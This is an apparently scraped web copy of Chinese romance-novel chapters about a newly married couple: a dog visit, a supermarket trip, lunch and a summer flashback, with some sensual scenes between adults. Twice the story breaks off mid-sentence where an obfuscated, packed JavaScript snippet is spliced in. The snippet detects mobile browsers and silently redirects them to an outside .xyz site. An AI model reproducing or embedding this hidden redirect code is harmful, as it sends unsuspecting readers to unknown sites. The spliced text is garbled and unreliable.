她不想让自己显得太过急迫,但她确实很着急,肚子已经叫过好几声。她就窝在沙发里,将厨房的墙壁望眼欲穿。 门铃就在这时响起。 蓝夏看了眼时间,才八点半,她不打算离开沙发去开门。 视线往旁边一偏就见司宸挽着袖子从厨房出来。 往门口走的时候他还看了她一眼,什么也没说,一副好像知道门外是谁的样子。 她坐在客厅沙发上环抱着双膝,并不知道门口发生了什么。 只听见门开后,有两个人说话的声音。一个来自司宸,貌似在赶那个人走,另一个人的声音在蓝夏听来是有些耳熟的,但一时间又想不起来是谁。 又听见那声音陡然拔高:“我求你了!真憋不住了!” 接着,她看到一道影子闪进来,迅速奔近客厅的洗手间。 司宸关了门,门口大概是还有什么动物,正哼哼唧唧地撒娇。 蓝夏坐直了,偏着脑袋想看看是什么。 雪白的毛茸茸的脑袋急不可耐地从墙壁拐角处出现,尾巴甩着小小的弧度,提溜着圆圆的眼睛看着蓝夏,似乎有一些不太确定。 “雪饼?” 蓝夏脱口而出面前这只萨摩耶的名字,雪饼确认了,尾巴甩动的幅度变大,整只狗在原地跳了跳,冲她叫了两声,忽然像离弦的箭一般朝蓝夏冲过来。 蓝夏已经很久没有见过雪饼,原本也张开手要拥抱它,但雪饼的热情程度远超她的想象,根本不会刹车,整只狗朝她撞过来,一屁股坐在她的肚子上,兴奋地开始舔她。 “司宸!” 蓝夏发出求救信号。 胡乱舔人的没有礼貌的小狗被人架着胳肢窝抬起来。 “没礼貌!你爸没教你见到女孩子要温柔客气一点吗?” 蓝夏从沙发上坐起来,听到他说这句,联想到刚刚发生的一切,不自觉地撇嘴鄙夷。 司宸没有看到蓝夏鄙夷的表情。 因为被架起来的雪饼发出了绝望的哀嚎。它嗷呜嗷呜地叫,在表达司宸将它束缚住不能和蓝夏贴近的不满。 它动作幅度大,司宸光是控制住它就已经花费了很大力气,更别提已经满嘴的狗毛。 见雪饼嚎得太惨,蓝夏抬起手摸了摸它柔软的狗头。 “雪饼,不许叫了,再叫别人还以为我虐狗。” 雪饼听到她这样说,停止大声嚎叫,哼哼唧唧了半天后忽然又开始放声嚎。 蓝夏一把捂住它 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宋添知道两人之前在一起过,也知道当初分手的时候蓝夏分得有多决绝。原本以为这两人大概率不会再有交集,没想到现在竟然又复合了。 而且,看家里这样子,蓝夏应该已经重新搬回来和他住在一起了。 “我们……”蓝夏纠结了一下,不知道该不该告诉他结婚这件事,她害怕司宸不愿意说。 “我们结婚了,把你的流氓□□好,别往我老婆身上扑。”司宸把雪饼往地上一放。 “结婚!”宋添显然很震惊。 雪饼终于恢复了自由,立刻往蓝夏身上扑。蓝夏并不擅长应付这种场景,借此机会疯狂揉搓雪饼的脑袋,雪饼高兴得又要舔她,蓝夏笑着躲。 “嗯,昨天领的证,你还有事吗?” 宋添总感觉面前的人说话的时候带着低气压,他缩了缩脖子,后知后觉今天来的大概不是时候,现在该走了。他冲雪饼招手,往门口走。但雪饼并不动,像是没有听见主人的召唤,只跟在蓝夏身边摇尾巴。 从宋添刚养雪饼,带着小雪饼第一次见蓝夏开始,雪饼就对她表示了强烈的喜爱。 司宸第一次见到雪饼的时候就让宋添管好自己的流氓狗。 宋添怒了,冲他大声:“它是母狗!” 司宸双手插兜,“母狗怎么了,母狗就能借此机会乱扑女孩子啊?” 宋添默默咽下一口气,咬着牙还击:“你妹控得有点过头了,我看蓝夏以后结婚的时候你要怎么办。” 司宸恍惚了一下,竟然真的自顾陷入这种想象之中,结果便是一整天都没有再说话。 这些宋添都清楚,所以他也知道,这时候远离某个醋坛子才是最正确的选择。 见雪饼不动,宋添往前跑了两步,遛狗绳套住它身上穿的遛狗带的接扣,拉着它往外走。 人狗在房里热闹好一阵才终于离开。 蓝夏并不是不喜欢雪饼,其实第一次见到它,她就很喜欢。它长得可爱,像一团蓬松的棉花糖,性格也好,又和她合得来。但她实在难以招架小狗的热情,这时候只会想躲。 就像今天,在雪饼终于离开的那一刻,她顿时松了一口气。 热闹的房间终于又归为平静。 司宸又重新进了厨房,不多时端出两碗香喷喷的番茄鸡蛋面。 蓝夏闻到这味道的时候感觉自己快要饿晕了。 她快速坐到餐桌旁,挑起筷子吃面。 这时她无暇顾及司宸的脸色,只一味地品尝美味。 等终于安抚了一点饥饿的胃的时候,她才问司宸:“宋添哥怎么会这么早到这边来,他经常来吗?” 没听见司宸的回答,蓝夏咬断面条,抬起头看他,只见司宸哂笑一声。 “可惜他已经走了,你刚刚怎么不亲自送他到门口,再关心一下他为什么要来我们家?” 7. 黄昏雨07 “刚刚没想起来这回事,我实在太饿了。” 蓝夏回答得很真诚。她的确是没有想起来这回事,雪饼的热情让她的大脑停摆。 蓝夏并没有管司宸为什么忽然阴阳怪气地说话,她接着道:“那我下次见到他问问好了。” 原以为对话到这里就结束,蓝夏却又听见司宸的声音: “他来遛狗,雪饼有一个好朋友住在我们小区,两只狗每天早上都要在旁边的公园里玩一会儿,所以他经常会在遛完狗后来家里蹭洗手间,有时候顺便蹭饭。” 蓝夏恍然大悟点点头:“那我们今天应该留宋添哥吃饭的。” 说完这句话,对面的人连面都不吃了,嘴角微微扬起,脸色却没有没有因为这个微笑而变得有温度。 “好啊,那你下次专门请他吃饭好了。” 蓝夏抬起头,愣愣地看着他,终于发现了事情的不对劲。 “你是在生气吗?” 司宸笑着摇头,“没有啊,我为什么要生气。” “哦哦。”没生气就好。 蓝夏低下头继续吃面,只有司宸感到呼吸不太顺畅。 她吃完早餐后觉得肚子饱饱,好像终于活过来了,把碗端到厨房去。 司宸比她吃得快,碗已经洗过了。 这是司家的习惯问题,司老爷子从小就要求司理司宸吃过的碗必须立刻洗干净,全家的小辈只有蓝夏不用遵守这个习惯。 但蓝夏刚到司家时,也想跟着两位哥哥做这件饭后洗碗的事。 一开始是司理出面阻拦,她的碗也就由司理帮她清洗,不记得是从哪一天开始,帮她洗碗的人变成了司宸。 蓝夏看着干净的水槽,有一瞬间的恍惚。虽然平时她都是自己洗碗,但司宸在的时候,她还是有些习惯性的依赖,下意识地想把碗丢在水槽里。 蓝夏打开水龙头,决定不去打扰他。 “我来。”司宸挽起白色的长袖衫,接过她手里的碗。 或许,洗碗这件事也不止只有蓝夏一个人养成了习惯,司宸亦是如此。为她做事是习惯使然,也是应该做的。 蓝夏客套了一下,但还是松开了拿碗的手,“还是我自己来吧。” 司宸已经给碗打上了泡沫,他低着头,似乎还有些不太开心。蓝夏对司宸的情绪虽不甚敏感,但她肉眼还是能看出来他此刻的不高兴。 他淡淡吐出两个字,“不用。” 蓝夏没话要和他说,但想活跃一下气氛,“你今天不用上班吗?” 司宸把碗冲干净,立在碗槽里。 “我有婚假。” “哦……” 司宸已经出了厨房,她慢吞吞往外走,只看到他高高的个子,步伐迈得极大,走到沙发边捧起他的笔记本电脑继续做他的事。 蓝夏不想在这个时候自讨苦吃,便准备去司宸为她分出来做画室的房间里收拾东西。 昨天刚搬过来,她没有时间收拾,干脆趁着今天把东西摆出来,可以准备开工了。 蓝夏刚进来把自己的画架摆好,司宸就站在了没关上的门边。 他和从前等她放学一样,斜靠在门边,眼睛里只有她。 “你在干嘛?”司宸问她,这次的语气好了很多。 蓝夏回头,肩带微微向下掉了一点,长发在空中荡出被阳光照射的金色弧度。 “我收拾一下,准备画画。” “我们要去超市,你忘了吗?”他声音轻柔多了,好像只是在善意提醒她。 蓝夏手上的动作顿了顿。 “我以为不去了。” “为什么会这么认为?” 司宸终于走进来,到她身边。 蓝夏抬起头看他,”因为你在不高兴。“ ”我没有不高兴。“ ”你有的,你不高兴的时候就是这样子,我知道。但我不知道你为什么不高兴。“ 司宸沉默,类似的问题,以前不是没有发生过,他也和她解释过。 ——”假如我和一个女生一直讲话,而且看起来和她很亲密,你会怎么样?“ 蓝夏当时的回答是:“那你们肯定有很重要的事要说,我不会怎么样。” 后来蓝夏和他分手,他总觉得自己哪里没有做好。又反复想起他们的对话来,某一天,他忽然醒悟,他想,可能是蓝夏根本就不爱他。 不然她怎么能走得那样果断,联系方式都要全部删除,就连回国给爷爷贺寿都要刻意和他错开时间。 “好吧,你很聪明,我是不高兴。” 蓝夏轻吐一口气,一脸我就知道的表情。 蓝夏清楚知道,她的吻对司宸来说有良好的治愈效果,至少能治愈他的不开心。 但这是从前,现在她并不确定了。 “那我能吻你吗?” 司宸心头一跳,“什么?” “我能吻你吗?像昨天在爷爷家那样,只是亲一下。这样你会不会好一点?” “不会。” 蓝夏想,那她没有办法了。吻与性,她都没法满足他,可能这场婚姻以后也就这样了。 司宸随手牵起她裙子的肩带,重新挂上她的肩膀。 只遮住了一点聊胜于无的雪白。 他的指尖顺着她的薄肩缓慢移动,抚过她深陷的锁骨,抚过她天鹅般的长颈,最后顺着她的下颌线来到她的下巴处。 他轻抬起她的下巴,埋下头来。 唇与唇之间将吻未吻,隐形的空气屏障就看谁会率先突破。 司宸道:“昨天那种真的不行……” 说罢,他做了那个率先突破的人,碾在了她的唇上。 舌尖肆虐,呼吸剪不断,交缠在一起,分不清是谁的。 蓝夏的背被他的大掌扶着,有种温热的安全感。他把她抵到桌边,两只手掐着她的腰,轻松地将她放在了桌上,然后强势地挤进她的□□。 司宸双手捧着她的脸,剥夺她的呼吸。 蓝夏手指用力捏紧,捏皱了他的衣服,心脏跳动得混乱而快速。 他停下来,牵出一根丝,稳住声线道:“要这种的才行。” 蓝夏脸颊被刚刚的吻染上一层绯红,她眉头轻轻锁着,也没有想到,才几年没见,怎么让他开心的办法还自动升级难度了? “那你有好一点吗?” “刚刚只是示范,如果你可以主动的话,我想我会的。” 蓝夏头晕晕,松开抓住他衣襟的双手,勾住他的脖颈,贴着他吻了上去。 但司宸很快就反客为主,对他来说,蓝夏的吻太过温柔,和他的比起来,只是一汪清冽的泉水。 可他想要的,是她只为他而急流涌进,湍水急流。 得不到,他就自己创造。 虽然是他反客为主,但的确是蓝夏先吻上来的,怎么不算是她的猛烈。 “等……一会儿……” 蓝夏想推开他,最后一点声音也被他吞没。 许久后,他才终于舍得放开她。 纵使蓝夏看起来气喘吁吁,可司宸也没有好到哪里去,衣服已经皱了,气息也紊乱了。 她的吻好像又变成良药了。 因为她看到了他愉悦的神情,微微上翘的嘴角,喜不胜收的眉眼。 —— 超市。 司宸推着推车,蓝夏走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925260|160466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他的身边,抬手去拿货架上的酸奶。 这是第三次牵手失败。 司宸状似无意地四处看看,等她把酸奶放到购物车,手垂下来的时候,他才低头再看去。 他的手和她的手大概相隔三厘米,三厘米,遥远的三厘米,为什么总是碰不到。 午饭司宸决定掌勺,到了生鲜区,这里成为了他的战场。 蓝夏开始变得无所事事,随手逛起了一旁大冰柜里的速冻食品。 现在国内的速冻食品做的真是花样百出,有小猪造型的馒头,也有各式造型的汤圆和饺子。 蓝夏打开冰柜门挑了几袋,她平时吃饭的时间不稳定,速冻食品成为她的首选。 放进购物车时,司宸也放进来了称斤的排骨。 “买这么多速冻饺子做什么?” “你不在家的时候我可以吃。” “我们在州城待不了多久,马上要去京市了,这段时间我会做饭,吃不了这么多。” “总不能总是你做饭吧?” 司宸觉得颇为好笑,“你的意思是,你做饭的时候就拿速冻饺子敷衍我?” 蓝夏看了眼购物车里的鸡腿、鸡翅、鸡胸肉、猪蹄、还有刚刚放进来的排骨,尴尬笑笑。 “放回去几袋吧,饿不着你,留两袋做宵夜吃。” 蓝夏只好放回去几袋。 离开生鲜区之前,有推销员在推销风干牛肉,味道香得蓝夏走不动。 “小妹,你试试这个,可好吃了!” 蓝夏用牙签戳了几个来吃,的确好吃,顿时就要买。 司宸礼貌对推销员阿姨笑笑:“谢谢,我们不买。” 说着他推着蓝夏走。 “为什么不买啊?”蓝夏问,“挺好吃的,我自己付钱就好了。” 司宸垂眸,眼底有不易察觉的黯然。 “你腿上的伤还没好完全,别吃这些了。” “这不影响吧,”蓝夏低头看了眼还青着的腿,“我也不会吃很多。” 他们说话的地方离推销员并不远,推销员眼看着这一单要成了,立刻追上来,先看到了男人撑着购物车的那只手上的戒指,又留意到女生手上的一样的对戒。 “哎呀,小伙子,对老婆不要这么抠嘛,她喜欢吃就给她买,现在我们做促销,买两包送两包,还可以送一个和故宫联名的杯子,拿去送礼也是很好的,我们这里有礼盒装。” “男人还是要学会心疼女人,不过就是一包牛肉嘛,又不贵,我看你长得这么帅气,这个小妹又长得这么漂亮,你们配得嘞!不要因为这么点小事就吵架,夫妻之间就是要相互体谅,这样才能走得长远。” 司宸轻叹口气,不得不承认,他的确是被推销员那句“你们配得嘞!”给说动了。 “那来两包吧。” “哎!好好好。” 推销员是位中年妇女,性格开朗吃得开,立刻转头回去给他们挑了四包,用小礼盒装好,还送了一个故宫联名的杯子。 离开前还特意又夸了夸两人,嘱咐司宸一定要对老婆好。 司宸对待长辈一向有礼,弯起礼貌的嘴角对推销员道了句谢谢,便将牛肉的礼盒装放入了购物车里。 车推出去了好远的距离,司宸才轻轻捏了捏蓝夏的脸。 “给你买了,不要生气了?” 蓝夏老实回答:“我没生气。” 她的确没生气,只是觉得,如果司宸不愿意吃的话可以不吃,为什么要阻止她吃。 司宸牵强地笑笑,“没生气就好。” 待站直了,他继续推车,才发现心里难受得不行,她果然不记得自己对牛肉过敏。 8. 黄昏雨08 牛肉礼盒的包装走的是近年来很火的中式古风包装,它浓烈华丽的色彩在凌乱的购物车内显得十分扎眼。 蓝夏忽然觉得婚姻好像的确没有那么好经营。 她去意大利读书后,就和司宸分了手。妈妈虽然在意大利久居,但她的工作很繁忙,再加上许久未见女儿,两人之间其实并不亲密。 蓝夏一直都是独居。这让她养成了做什么事都随着自己的心意来的习惯。 可现在结婚了,只是牛肉,就已经让她觉得难以应付日后与司宸的相处。 她对婚姻的悲观程度在很小的时候就已经形成,又见过太多家庭的婚姻悲剧,她并不认为自己就是特殊。 而且……她也搞不懂司宸的脾气。 “又走神了?”司宸不知道等了她多久,站在货架旁静静等着她下决定。 蓝夏回神,首先循着司宸的声音望去,冲他不好意思笑笑,再把目光移回来的时候,看到的是货架上粉粉蓝蓝的卫生巾包装。 “抱歉。”蓝夏重新望向他。 可能在这里的时间有些太久了,蓝夏看到司宸耳廓泛着微微的红。 “选好了吗?” 蓝夏点头,挑了自己平时常用的牌子扔进购物车。 其实她根本不记得自己是怎么走到卫生品区来的。 他们住在州城的日子不会太久,但司宸还是带着她把超市所有的区都逛了一遍,这番做派像是要在这里长居的架势。 司宸对蓝夏的习惯了如指掌。她还是像从前一样,对零食没有任何执念,如果学习或者是画画画晚了,手边没有吃的,她会选择不吃。 司宸以前总怕她会饿肚子,会给她的零食架做补给。哪一类零食消耗的速度最快,他就多买那一类的。 比如她的小零食架里经常缺货的是话梅、糖果、这一类的不会脏手的零食,并不是她有多喜欢吃这一类的零食,而是她在认真做事的时候喜欢在嘴里含东西。 时间逐渐临近要做饭的点,终于逛到不得不离开去结账的地步。 依旧是司宸推着购物车,蓝夏跟在他的身边。 蓝夏正好收到青涵发来的微信消息,低着头给她回复。司宸发现她手机上的聊天界面后就刻意避开了自己的视线。 不过他还是看到了聊天栏上方的备注。 蓝夏的备注习惯是给人的备注名后打上emoji,以表示她与这个人的亲密程度。 青涵的emoji是一个可爱的绿色小精灵,这是蓝夏对她的第一印象,一头齐耳短发看起来俏皮又可爱,像是《这个杀手不太冷》里的马蒂尔达。 以前司宸名字后的emoji是一幢房子,蓝夏说你的“宸”字根据《说文解字》上的解释就是帝王的居所,所以给他的备注是房子。 司宸为自己引申出的别的意思而感到汗颜,不过这就是蓝夏,她想得很简单。他是哥哥,很多事情蓝夏没有想到,都交给他来想就好了。 只不过,联系方式删除后,自己的名字后面再也没有那幢小房子了,备注名字后是光秃秃的空白。 青涵发消息问起她的新婚生活如何,有没有找到曾经热恋期的感觉? 蓝夏回复:我感觉婚姻好像真的没有我想的那么简单,你还是不要结婚了吧,就做你自己。 青涵:?不是吧你,吵架了? 蓝夏:那倒是没有,就是一些小事上的感触。 青涵:按照司宸以前照顾你的程度,你怎么会觉得结婚不好呢?难道是他现在不上心了? 蓝夏偷偷抬眼看他,发现他并没有看她,而是推着购物车走得很慢,在照顾她的步伐。 蓝夏也不确定,但不想这时候说他的坏话,因为她自己也没有弄清楚司宸对自己的感情,于是她谨慎回复:谈不上。 青涵:谈不上?谈不上那就是没有以前好呗。 蓝夏:…… 蓝夏:毕竟当初是我要分手的,恢复感情可能也没有那么快吧。 青涵:(憨笑emoji)也是哈。 青涵:那你热情一点呢? 蓝夏想了想,如果主动吻他,主动邀请他加入一场“性”都不算热情的话,那她实在不知道“热情”的定义了。 她向来不避讳人类的正常生理需求,于是回复:我已经很热情了。 青涵想了想,这话也没问题,但又有问题。她知道蓝夏本身是一个不避讳性需求的人,主动就代表着热情,确实没问题;但是蓝夏所理解的在感情中的热情又与常人的不太一样,她或许把热情当成了一种普通的聚会邀请,而常人的热情是一种绽放的情绪,这种情绪持续性高涨,会让双方都感到愉悦,这是遵从本心的情绪。 但她又不知道该如何与蓝夏解释,蓝夏好像天生就缺少“热情”。 蓝夏正在等待青涵的消息回复,腰间忽然一热,有人将她往自己身上揽了揽。 回过神来,一道闪着银白虚影的购物车从她身侧呼啸而过,始作俑者是一名小孩。 现在正在放暑假,白天有很多小孩会跟着家人一起来超市买菜,超市不乏小孩的身影。 轰隆隆而过的声音吓了蓝夏一跳,她下意识地抱住司宸的腰,另一只手抓紧了他胸膛前的衣服。 司宸轻拍她的手,“好了,已经没事了。” 蓝夏方回过神来,发现手机屏幕朝着外面,屏幕上还是她和青涵的聊天页面,也不知道他看没看到她们的聊天记录。 蓝夏下意识地按灭了屏幕,又快速收回了手,和他说谢谢。 司宸点头,先前不敢牵的手此刻却牵得自然,他牵着她走向一旁的自助收银台。 这里付账的人不多,不用在人工收银那里排长队。 司宸顺手拿了自助收银区货架上的两盒东西扔进了购物车。 蓝夏的视线跟随着他手的动作落到购物车里,散落的两个盒子,一个是粉色一个是暗红色,分别散落到牛肉礼盒包装的左和右。 他的动作是不是有点太自然了?这么说来,早上那一盒可能也是在昨天给爷爷奶奶买礼物的时候他顺便拿的? 她都没有发现。 原来是老手。 蓝夏眼皮抬起来一点,又抬起来一点,他面色如常。她视线下垂,注意到他修长手指在自助机屏幕上点击过后,开始从购物车拿物品扫码。 首先他拿的就是那盒粉色的,接着是红色的,再是礼盒,她的零食,生鲜,水果…… 蓝夏不觉得自己今天还能和他再来几次,如果他一直按照今天早晨那种力道来的话。 她去他的另一侧帮忙牵袋子装东西。 出来的时候司宸左右手都提着两大袋丰硕战绩。 走到地下停车场,司宸让蓝夏从他的裤口袋里拿车钥匙出来。 今天出门他没有穿西装,只是普通的T恤牛仔裤和运动鞋,看起来与大学生无异,蓝夏知道他有钥匙放在右边口袋的习惯,手直接伸向右边裤口袋。 口袋深,她需要再往下一点才能够到钥匙。手掌摩擦过去,能感受到他大腿外侧的人体温度,比那时候要低一点。 蓝夏帮他打开后备箱就上了车,提前打开车内空调。 司宸上来的时候前座已经有些凉意了。 他启动车子双手打着双向盘,出了地下车库。 出来遇到第一个红绿灯,司宸忽然问道:“想问什么?” 果然他是了解她的。 “为什么那么自然?” “什么?” “你拿套的动作。” “哦。” 绿灯亮了。司宸视线重新落回到前方,没有做回答。等蓝夏以为他不会回答的时候却又听到他说: “你忘了吗?那一年,我们做过几次我就买过几次套,习惯了。” 蓝夏的大脑忽然“轰——”地一声炸开。 不是别的,而是不知道为什么,他一提,她的脑海里就有画面了。 明明昨晚邀请他的时候她还没有这种感觉的,昨晚她提的时候只是记得他们从前有过,具体过程中的感受她早已忘记。 思来想去,只能把这一切归为今天早上的“复习”。因为再一次的触碰,触发了她的回忆。 那一年是怎么的一年呢,就连蓝夏这种对待“性”如此坦然的人,也会为那一年的一切感到脸红心跳。 一句话描述便是——毫无节制的千形万态的不知疲倦的人类繁衍活动。 它潮湿,污秽,像是沼泽地里开出的散发幽香的妖冶大丽花,引人沉沦。 蓝夏清楚感受到了此刻身体某一处的流动变化,她“哦”了一声,把视线转向窗外。 开车回家只需十分钟左右。 还是司宸提东西,蓝夏按电梯,到了房门外,她看着指纹锁找司宸要密码。 昨天她来的时候看到司宸是按指纹进去的,以前这里也有她的指纹,但现在应该没有了。昨天搬过来的时候,司宸也没有给她录指纹。 “没有删你的指纹。” 这倒是意外了,竟然没有删。 蓝夏将信将疑将右手食指覆上去,伴随着滴声,门开了。 好像打开了回忆的门。 房内的布置和当年没有任何变化,他们也和从前一样,逛完超市回来司宸就要去做饭。 有一次,还没有开始做饭,蓝夏先被司宸当成午餐吃了。 真的不能再想了。 司宸动作比她快,已经进门换好鞋,提着东西去了厨房。 “需要我帮忙吗?”蓝夏随着他去了厨房,洗过手后问。 “先把这些放冰箱吧。” 蓝夏便去分门别类把东西都放好。 冰箱很空,这次买的东西放进去也并没有填满它,还空余了很多位置。 “还需要我帮忙吗?” 收拾好东西,蓝夏拍拍手掌问。 他正在水槽里处理鱼,头也没抬道:“不用。” 不知道又是哪里惹到了他,这一天脸色阴晴变化堪比四季,变脸比翻书还快。 正要出去,她看见他的衣服上沾了一片鱼鳞,他没有穿围裙,可能是忘记穿了。 蓝夏机灵了一些,从一旁拿来围裙,走到他身边展开来。 “你没穿围裙,我给你穿?” 她走过来,司宸就停止了刮鱼鳞的动作,他沉默地看了她一会儿,放下刀,展开手臂让她动作。 蓝夏提起嘴角,想让自己尽量显得热情一点,把他衣摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925261|160466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上沾上的鱼鳞给捻下来,围裙肩带穿到他的肩膀上,手明明在他的肩两侧,却带来一股西柚橙花的香味,是她刚刚洗过手沾染的洗手液味道。 整个房间原本弥漫的鱼腥味瞬间被她手上的馥郁清香所掩盖,司宸微微翕动鼻尖,想抓住一些什么。 蓝夏绕到他身后,给他身后打上蝴蝶结,刚好打在腰间,他的腰被收窄了,好身材是不会被宽大的T恤和围裙所遮住的。 “系好了。” 她走到他的身侧,“那我出去了,你有事就叫我?” “嗯。” 她离开了,那一点点残留的清新香气很快消散得一点也不剩。 司宸闻着鱼腥味,继续低头刮鱼鳞。 蓝夏回到客厅后总觉得有些不好意思坐享其成。这和以前是不一样的,以前她一定是躺在沙发上,小睡一会儿,等他叫她来吃饭,他们在沙发上再黏黏糊糊一会儿。 得让自己也忙起来。蓝夏把买来的零食都摆出来放好,又跑去浇花。地面不用清扫,司宸会叫阿姨来打扫。 家里总共也没有剩几件事可以让她做的,就连早上弄乱的房间也已经被司宸清理过了。 她又回到画室去收拾。 十二点半开饭。 司宸做了四道菜,一条煎鱼、一道油爆基围虾、一道时蔬、还有一道是紫菜番茄蛋花汤。 蓝夏又去洗了一遍手,坐在他的对面。她礼貌地夸赞了一下他的手艺后,两人之间就没有了别的话要说。 餐桌上太过静谧,比和长辈一起吃饭的时候还要压抑。 打破僵局的是司宸。 他替她盛了一碗汤,放在一边替她凉着。 “你小时候最喜欢吃这个汤记得吗?” 蓝夏点头,“记得,刚来的时候,奶奶做给我开胃的。” 那时候她刚来司家,总是拘谨得很,吃得也不多,瘦得营养不良。 奶奶听到别人家孩子喜欢吃什么都要做给她吃,就是想要她开胃多吃一些。 做这道菜的那天,蓝夏破天荒地在吃完一碗饭后还想再去添小半碗。 为她添饭的是司理,他跑得飞快,生怕慢了一点妹妹就不吃了。 而那时候的司宸,还处于对她有所防备的阶段,在餐桌上冷眼旁观全家人紧张这个妹妹。 真是莫名其妙。 “后来奶奶总做这道菜,全家人都腻了,只有你还没腻。” “嗯,你还把我堵在楼梯上,让我去告诉奶奶,我讨厌吃这道菜。”蓝夏说着又补充道:“特别凶。” 司宸听到她的补充,没忍住笑了。 餐桌上的气氛好像随着他这一声笑没有先前那么沉重了。 “小时候是不是很讨厌我?” 他总是问到点子上,让蓝夏不知道怎么回答,就像他以前明明和她关系没有特别好的时候问她,喜欢司理还是他。 “反正没有特别喜欢你,我有点怕你。” 当然,她的诚实也令人伤心。 司宸:“现在呢?” “好像比以前更难搞了。”蓝夏说。 司宸又笑了,心情似乎很好,但他话题一转,又问起一件事。 “你还记得第一次在爷爷家过生日那天吗?” 蓝夏记得,她的生日在夏末,到司家半个月后,在司家度过了她的第一个生日。 那天她拥有最漂亮的公主裙,最闪耀的皇冠,和超大号的草莓奶油生日蛋糕。 那一天满桌子的菜,蓝夏只能记得印象最深的几道。 “我记得番茄牛腩和糖醋排骨是我当时觉得最好吃的两道菜。奶奶的手艺一如既往地好,那天的番茄牛腩好像收到了所有人的一致好评,大家都赞不绝口。” 蓝夏边回忆边说。 司宸微笑了一下,似乎也正在回忆当天的细节。 “所有人都夸番茄牛腩好吃?也包括我吗?” “当然。” 应该不会记错,蓝夏想,当天即使是看不惯自己的司宸都没有找她的麻烦,而且一直在笑。 司宸笑着点点头,叮嘱她快喝汤,别凉了。 午餐伴随着温馨的回忆结束。 早上两人闹腾许久,都困得不行。尤其是司宸,他昨晚一夜没睡,早上又耗费大量精力来进行一场酣畅淋漓的“性”事,事后又逛超市,做饭,洗碗。 收拾完一切后,司宸就准备回房间睡觉,回房间前他去找蓝夏,和她说了一声。 那时候蓝夏正在画室里看自己的画,听他说他要去午睡,有事可以随时来叫他。 刚刚闲下来的时候,她收到了青涵的回复,她建议蓝夏多多和司宸互动联络感情。 午餐时,谈及从前,氛围是那么轻松,蓝夏也有了一些触动,可能自己还要再主动一点?她不太确定,但一起午睡这个决定应该不会有错。 “我也去午睡。” 司宸原只是想说这一句就走,没准备在这里多做停留,身体已经往外转了半周又转回来。 他略有些诧异地抬了一下眉,回答道:“哦,好。” 说完,他先转身回卧室,留心听着身后动静,听见她趿拉着拖鞋跟在身后的脚步声,嘴角不着痕迹地弯了弯。 9. 黄昏雨09 蓝夏推开阁楼的门,燥热伴随着疯狂的蝉鸣蜂拥而来。 这是她出国前的最后一个暑假。 这个无所事事的午后,她倒在沙发上,透过正前方的窗户看外面的风景。 一丝风也没有,窗外的榕树叶片一动不动,这个暑假热得不像话。 蓝夏畏冷,刚从空调房里出来,手臂上都是鸡皮疙瘩,在这样高温的夏天里反而感到暖和。 这里是她的王国,这里是她情绪的宣泄地。 蝉鸣渐小,蝉鸣渐大。 蝉鸣第三次变小时,蓝夏睡着了。 这个供她短暂小憩的沙发,奶奶亲手为她的小抱枕织了一个祖母格的枕套,她枕着它睡,正是好眠。 她睡得很昏迷,在这里待久了也渗出细密的汗,热得她想醒来却又醒不来。 不知道为什么会越来越热,背上好像背着一个大火炉,正在不断地烘烤她。 蓝夏终于忍受不住,一个翻身,正面也投入火炉的怀抱。 她抬起沉重的眼皮,司宸不知道是什么时候回来的,竟然在这样的大热天还紧紧抱着她。 他原本也阖着眼睡着,蓝夏一动,他也跟着醒来了。 “很热。”她伸直手臂推他的肩膀,把自己抵在沙发的最里面。 正面的人捏着她的手往下一拉,厚颜无耻地追上来。 “刚回来,想你了,先让我亲会儿。” 他大掌掌着她的后脑勺,另一只手摁着她的背往自己身上贴。 他的吻和天气一样沉闷得令人透不过气,就连身体的重量也尽数倾倒在她身上。 蝉鸣又响起,蓝夏迎着他的吻,和他勾缠,翻搅。 “身上怎么这么凉,嗯?”他动作却轻柔,爱不释手轻轻抚。 她出了汗,只觉得热,不知道自己的皮肤表面是凉的。她手往后探,抓住他作乱的大手,“很热,不许碰……” 司宸很低地笑了声,那只手穿插过她的指缝,紧紧握住。 阿姨来敲门,叫她下楼吃冰西瓜。 蓝夏被惊了一下,迅速偏头躲过他的吻,握住他的手紧了紧,换来更紧的反握。 司宸没有停,唇顺着她的下颌往下走,轻声说道:“正常回答就好,我锁了门。” “……好,我就来。” 阿姨得了她的回复,穿着拖鞋的脚步声渐远。 他们热烈的吻止于这个时刻,蓝夏唇上晶莹,微微喘气。 “吓到我了。”蓝夏说。 “那什么时候公开我?”他捻着她的头发缠着手指头玩。 蓝夏站起来,理了理自己的衣服和头发,“以后再说,我要下楼吃西瓜了。” 司宸指尖倏地一空,手指在空气中凝滞,看着她跑得比兔子还快的身影,又没忍住笑了。 那天的西瓜很甜,汁水冰冰凉凉,顺着喉咙滑下去。 奶奶给她擦着汗,怜惜道:“去了意大利要好好照顾自己,见了妈妈还是要叫她,你妈妈她当年也不是故意的,不要怪她。” 蓝夏摇头,“我不会怪她的。” “你两个哥哥一个忙着公司,一个在读书,现在你也走了,感觉这个家就空了。”奶奶自顾说着。 蓝夏有点想哭,上前抱住奶奶的胳膊,软软地倚在她的怀里,“我放假的时候会回来看奶奶的,平时也多多和奶奶视频好不好?” 孟莲摸着她的头笑,一瞥眼,看见客厅拐角处站着司宸,他个子高,体态好,松柏般的站姿,直挺挺的有些僵硬。 